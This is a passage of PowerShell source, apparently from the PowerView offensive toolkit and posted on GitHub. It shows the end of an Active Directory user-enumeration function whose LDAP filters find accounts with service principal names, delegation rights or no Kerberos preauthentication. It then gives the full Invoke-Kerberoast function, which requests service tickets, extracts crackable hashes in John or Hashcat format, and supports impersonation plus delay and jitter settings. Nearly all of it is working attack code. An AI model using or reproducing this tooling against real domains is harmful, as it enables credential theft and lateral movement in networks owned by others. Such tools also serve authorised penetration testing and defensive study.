# create new dynamic parameter | |
New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array]) | |
} | |
#> | |
BEGIN { | |
$SearcherArguments = @{} | |
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } | |
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } | |
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } | |
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } | |
$UserSearcher = Get-DomainSearcher @SearcherArguments | |
} | |
PROCESS { | |
#bind dynamic parameter to a friendly variable | |
#if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) { | |
# New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters | |
#} | |
if ($UserSearcher) { | |
$IdentityFilter = '' | |
$Filter = '' | |
$Identity | Where-Object {$_} | ForEach-Object { | |
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') | |
if ($IdentityInstance -match '^S-1-') { | |
$IdentityFilter += "(objectsid=$IdentityInstance)" | |
} | |
elseif ($IdentityInstance -match '^CN=') { | |
$IdentityFilter += "(distinguishedname=$IdentityInstance)" | |
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { | |
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname | |
# and rebuild the domain searcher | |
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' | |
Write-Verbose "[Get-DomainUser] Extracted domain '$IdentityDomain' from '$IdentityInstance'" | |
$SearcherArguments['Domain'] = $IdentityDomain | |
$UserSearcher = Get-DomainSearcher @SearcherArguments | |
if (-not $UserSearcher) { | |
Write-Warning "[Get-DomainUser] Unable to retrieve domain searcher for '$IdentityDomain'" | |
} | |
} | |
} | |
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { | |
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' | |
$IdentityFilter += "(objectguid=$GuidByteString)" | |
} | |
elseif ($IdentityInstance.Contains('\')) { | |
$ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical | |
if ($ConvertedIdentityInstance) { | |
$UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) | |
$UserName = $IdentityInstance.Split('\')[1] | |
$IdentityFilter += "(samAccountName=$UserName)" | |
$SearcherArguments['Domain'] = $UserDomain | |
Write-Verbose "[Get-DomainUser] Extracted domain '$UserDomain' from '$IdentityInstance'" | |
$UserSearcher = Get-DomainSearcher @SearcherArguments | |
} | |
} | |
else { | |
$IdentityFilter += "(samAccountName=$IdentityInstance)" | |
} | |
} | |
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { | |
$Filter += "(|$IdentityFilter)" | |
} | |
if ($PSBoundParameters['SPN']) { | |
Write-Verbose '[Get-DomainUser] Searching for non-null service principal names' | |
$Filter += '(servicePrincipalName=*)' | |
} | |
if ($PSBoundParameters['AllowDelegation']) { | |
Write-Verbose '[Get-DomainUser] Searching for users who can be delegated' | |
# negation of "Accounts that are sensitive and not trusted for delegation" | |
$Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))' | |
} | |
if ($PSBoundParameters['DisallowDelegation']) { | |
Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for delegation' | |
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048574)' | |
} | |
if ($PSBoundParameters['AdminCount']) { | |
Write-Verbose '[Get-DomainUser] Searching for adminCount=1' | |
$Filter += '(admincount=1)' | |
} | |
if ($PSBoundParameters['TrustedToAuth']) { | |
Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals' | |
$Filter += '(msds-allowedtodelegateto=*)' | |
} | |
if ($PSBoundParameters['PreauthNotRequired']) { | |
Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate' | |
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' | |
} | |
if ($PSBoundParameters['LDAPFilter']) { | |
Write-Verbose "[Get-DomainUser] Using additional LDAP filter: $LDAPFilter" | |
$Filter += "$LDAPFilter" | |
} | |
# build the LDAP filter for the dynamic UAC filter value | |
$UACFilter | Where-Object {$_} | ForEach-Object { | |
if ($_ -match 'NOT_.*') { | |
$UACField = $_.Substring(4) | |
$UACValue = [Int]($UACEnum::$UACField) | |
$Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" | |
} | |
else { | |
$UACValue = [Int]($UACEnum::$_) | |
$Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" | |
} | |
} | |
$UserSearcher.filter = "(&(samAccountType=805306368)$Filter)" | |
Write-Verbose "[Get-DomainUser] filter string: $($UserSearcher.filter)" | |
if ($PSBoundParameters['FindOne']) { $Results = $UserSearcher.FindOne() } | |
else { $Results = $UserSearcher.FindAll() } | |
$Results | Where-Object {$_} | ForEach-Object { | |
if ($PSBoundParameters['Raw']) { | |
# return raw result objects | |
$User = $_ | |
$User.PSObject.TypeNames.Insert(0, 'PowerView.User.Raw') | |
} | |
else { | |
$User = Convert-LDAPProperty -Properties $_.Properties | |
$User.PSObject.TypeNames.Insert(0, 'PowerView.User') | |
} | |
$User | |
} | |
if ($Results) { | |
try { $Results.dispose() } | |
catch { | |
Write-Verbose "[Get-DomainUser] Error disposing of the Results object: $_" | |
} | |
} | |
$UserSearcher.dispose() | |
} | |
} | |
} | |
function Invoke-Kerberoast { | |
<# | |
.SYNOPSIS | |
Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes. | |
Author: Will Schroeder (@harmj0y), @machosec | |
License: BSD 3-Clause | |
Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, Get-DomainUser, Get-DomainSPNTicket | |
.DESCRIPTION | |
Uses Get-DomainUser to query for user accounts with non-null service principle | |
names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information. | |
The ticket format can be specified with -OutputFormat <John/Hashcat>. | |
.PARAMETER Identity | |
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), | |
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). | |
Wildcards accepted. | |
.PARAMETER Domain | |
Specifies the domain to use for the query, defaults to the current domain. | |
.PARAMETER LDAPFilter | |
Specifies an LDAP query string that is used to filter Active Directory objects. | |
.PARAMETER SearchBase | |
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" | |
Useful for OU queries. | |
.PARAMETER Server | |
Specifies an Active Directory server (domain controller) to bind to. | |
.PARAMETER SearchScope | |
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). | |
.PARAMETER ResultPageSize | |
Specifies the PageSize to set for the LDAP searcher object. | |
.PARAMETER ServerTimeLimit | |
Specifies the maximum amount of time the server spends searching. Default of 120 seconds. | |
.PARAMETER Tombstone | |
Switch. Specifies that the searcher should also return deleted/tombstoned objects. | |
.PARAMETER OutputFormat | |
Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format. | |
Defaults to 'John'. | |
.PARAMETER Credential | |
A [Management.Automation.PSCredential] object of alternate credentials | |
for connection to the target domain. | |
.PARAMETER Delay | |
Specifies the delay in seconds between ticket requests. | |
.PARAMETER Jitter | |
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 | |
.EXAMPLE | |
Invoke-Kerberoast | fl | |
Kerberoasts all found SPNs for the current domain. | |
.EXAMPLE | |
Invoke-Kerberoast -Domain dev.testlab.local -OutputFormat HashCat | fl | |
Kerberoasts all found SPNs for the testlab.local domain, outputting to HashCat | |
format instead of John (the default). | |
.EXAMPLE | |
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce | |
$Cred = New-Object System.Management.Automation.PSCredential('TESTLB\dfm.a', $SecPassword) | |
Invoke-Kerberoast -Credential $Cred -Verbose -Domain testlab.local | fl | |
Kerberoasts all found SPNs for the testlab.local domain using alternate credentials. | |
.OUTPUTS | |
PowerView.SPNTicket | |
Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section. | |
#> | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('PowerView.SPNTicket')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] | |
[String[]] | |
$Identity, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('Filter')] | |
[String] | |
$LDAPFilter, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ADSPath')] | |
[String] | |
$SearchBase, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[Switch] | |
$Tombstone, | |
[ValidateRange(0,10000)] | |
[Int] | |
$Delay = 0, | |
[ValidateRange(0.0, 1.0)] | |
[Double] | |
$Jitter = .3, | |
[ValidateSet('John', 'Hashcat')] | |
[Alias('Format')] | |
[String] | |
$OutputFormat = 'John', | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
$UserSearcherArguments = @{ | |
'SPN' = $True | |
'Properties' = 'samaccountname,distinguishedname,serviceprincipalname' | |
} | |
if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['LDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $LDAPFilter } | |
if ($PSBoundParameters['SearchBase']) { $UserSearcherArguments['SearchBase'] = $SearchBase } | |
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } | |
if ($PSBoundParameters['Credential']) { | |
$LogonToken = Invoke-UserImpersonation -Credential $Credential | |
} | |
} | |
PROCESS { | |
if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity } | |
Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket -Delay $Delay -OutputFormat $OutputFormat -Jitter $Jitter | |
} | |
END { | |
if ($LogonToken) { | |
Invoke-RevertToSelf -TokenHandle $LogonToken | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment